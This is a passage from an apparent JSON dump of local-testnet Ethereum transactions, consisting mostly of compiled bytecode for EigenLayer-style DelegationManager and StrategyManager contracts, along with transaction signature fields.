2011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f0000000000000000000000000000000000000000000000000000000000000000909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f00000000000000000000000000000000000000000000000000000000000000004603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f0000000000000000000000000000000000000000000000000000000000000000169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c8530000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6","r":"0x4750bac1392cedc969129b207c550b8ac906a245f779dfcc3c5ebf69578af424","s":"0xb4b100f46f39110df904afff07bc020373ffd804c99f2d2ea3cca1d4a8dc7dd","yParity":"0x0","hash":"0x804ce4e2fea65a47a6bcaf0436b386ad347c7083ad0ef319a04f97eb627952a2"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xd","gas":"0x3812c7","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61010060405234801561001157600080fd5b5060405161337a38038061337a83398101604081905261003091610135565b6001600160a01b0380841660805280831660a052811660c05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516131a36101d760003960006114b70152600061046e0152600061028501526000818161051a01528181610b8201528181610ecf01528181610f230152611a6c01526131a36000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c578